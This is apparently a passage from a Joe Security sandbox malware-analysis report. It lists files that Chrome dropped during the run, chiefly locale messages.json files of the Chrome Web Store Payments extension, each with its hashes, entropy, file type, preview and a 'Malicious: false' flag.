j5xH.~.*...yvw....y.....vI......IWT..)...|...\..<=.V.C..}.fF..T.....~.~..:).....i...2./D.}...]..<+3T..Z.Q9*0.......3..7.e..p.:..-.P..n.}j....U...."...|Gm...AdQ:*...gz%n..:...K.o[...".n...(V..A...U.D.~
x.Q..X.tw.F..,.Q...k.9.w.......2....t......XF....E./...Hu.%..].....7.T...X.\$4.~.....`..e\....}.X...`A...J.....k...$IO..OS:...=...R...q......FE.H.)M..WX/........6.._..ry..J..`.q.'....x^..[r..Z.Y:..0..
.g.y....#.1.'...F7M.6...S....7.To.G.... `#.......-."...^....;..8..{.6VhL?%uU...K....O9.`Y....b.5.,zP.+\..!.1wK.j.P].....jW.!.j...i3.v.<..n.P..g....~.x..z.8...2^..U.f.bt#.+.U..N......!.[.!#.C
.A.xy.....p...n.mU,.....=.......h .ME..T/....lT\h,.U..........(.U ...Tf.?Zd8.2.V......*..../....Oyh.j.._.I.k..u...).3.r.3...j......O....+],...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

Category: dropped

Size (bytes): 28748

Entropy (8bit): 7.9918576871001425

Encrypted: true

SSDEEP: 384:SU7ZPeF1W3JgUrqaO/8dOcbwy59NjS5BMYGYycIfPhrVx2NtsEeSeFzVXe/rxd:H7peFkZL9RZSz3gnhhGcpXetd

MD5: 2A37AD0EC191D53104BB46953AC6C43C

SHA1: FD23FFC5B7E4A6B45FBD88A486D15FAA51DC07AE

SHA-256: 51F075EB69486CB23B32A0776782B4A1B2AF204429AB94510469E02B115E56CC

SHA-512: AEB91CB7902A800D7B0C43627EC2B52121BC41BA29A1B6ABEDBFCFA4802254A0594ED239EA7A3F8D40241E43D436428D1E4AC117BD97269D78460F82F9BDCF
68

Malicious: false

Reputation: low

Preview: ...........Zms.6..._..p..[.(.b[...M....N{..t ...S.......v...H.q.g:....]...p..6I8_d...C.\p.X$.2.p.g.8I}8.".D)$<..O...}.J9.3..a.i.'...x.....5O...x......I.M.!.'\.l.2.0.cN.fq....\......7..,......>.p...w&.
KS.......(O.V>......O.r..V~J.`....U(..Y..MIy..w..g0e......D.,L..y..N.+..._....O.h.]...V....r................O.|.:....Li..>COy......N.h.......R....Q%.,Xr.y...G8=.A....!8(..L....c....sA....t.Vl:...v...G
;...^.l...#.t.>...k..d..kr...B......Pb.0*..!..;9.....:~....j;....j.*O..!B......?....^.]....;...[.g.B...%..'.7;.9.>..gP. p8...:.5l.Y.....Jp..R,.?..b..8O......h.X(..G.).Cz.C..%....x.ET.....AEi.../..0.. ....k.*t..
.wl..e...H.i.F.....?.....z...?..........(../.O..R.?.4..7...j ..Q.....l..ob!..A..j...@..!).....K...MW.U.N.......W..Bh'8.'.y....Y.[o...PI..W.*...i...r.e..=.k^.WC..Uy.j..687^.z.#u5.4O...........-j.j3..L.
1..F...8.......@l.9.c.aGC.R.&..j.Q-av?...[4.E..T8....u..+9.<.n.Qw.D..N..S..3.D...... .%C.j.7.Y.s(.0wq.ZI.#''#..[K.GJ ....4.....?

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

Category: dropped

Size (bytes): 30948

Entropy (8bit): 7.99105089802474

Encrypted: true

SSDEEP: 768:jElAfPryn5QzShaPuChbhFbHRu/llKGr7J9FwyIlWg+S3:jElAfzyneSMPuKbvzUllKGzFDOWgv

MD5: 7F0FCE2F184F63FED8E9929FB106C282

SHA1: 0582EB5BFC7FCCCC1C77A860F00E351E61F5DC67

SHA-256: 7C33F333216849E50AFC9550DA7DA4450D221B837340716ACCEE3766FFD4A62B

SHA-512: AD1CD5B804C08C4C25BD6F97153D3371156848A83682DF1829B0B113B60ED0B01D67B5CD737CB414C8B825E12C7E0D6B5F9B338F4AF7FC82BE8AAF4CA8E279
BA

Malicious: false

Reputation: low

Preview: ............y..../...*D4e.sH.v.{......mv9MR...&..b.`.P."........r.....X...9s.s..w..;...>.}8...O.ep....O.]...$KO.tu...2?Yfi.'ove..T.....(.N7.R..<yr....t..})......>[......*."......'7.j......#.n..e1..Fr...........
j5xH.~.*...yvw....y.....vI......IWT..)...|...\..<=.V.C..}.fF..T.....~.~..:).....i...2./D.}...]..<+3T..Z.Q9*0.......3..7.e..p.:..-.P..n.}j....U...."...|Gm...AdQ:*...gz%n..:...K.o[...".n...(V..A...U.D.~
x.Q..X.tw.F..,.Q...k.9.w.......2....t......XF....E./...Hu.%..].....7.T...X.\$4.~.....`..e\....}.X...`A...J.....k...$IO..OS:...=...R...q......FE.H.)M..WX/........6.._..ry..J..`.q.'....x^..[r..Z.Y:..0..
.g.y....#.1.'...F7M.6...S....7.To.G.... `#.......-."...^....;..8..{.6VhL?%uU...K....O9.`Y....b.5.,zP.+\..!.1wK.j.P].....jW.!.j...i3.v.<..n.P..g....~.x..z.8...2^..U.f.bt#.+.U..N......!.[.!#.C
.A.xy.....p...n.mU,.....=.......h .ME..T/....lT\h,.U..........(.U ...Tf.?Zd8.2.V......*..../....Oyh.j.._.I.k..u...).3.r.3...j......O....+],...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\eb48b912-8c05-454f-8f20-7beac43f9bdb.tmp

C:\Users\user\AppData\Local\Temp\fa0e2 2-05dc-4826-9773-29d5e1df6ad5.tmp

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\8 d3e75-9f82-465f-a511-4d5792347fcf.tmp

Copyright Joe Security LLC 2022 Page 36 of 95



Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\bg\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\ca\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\cs\messages.json
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Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\da\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\de\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\el\messages.json
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Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\en\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\en_GB\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\es\messages.json
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Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\es_419\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\et\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\fi\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\fil\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1218489237\CRX_INSTALL\_locales\fr\messages.json

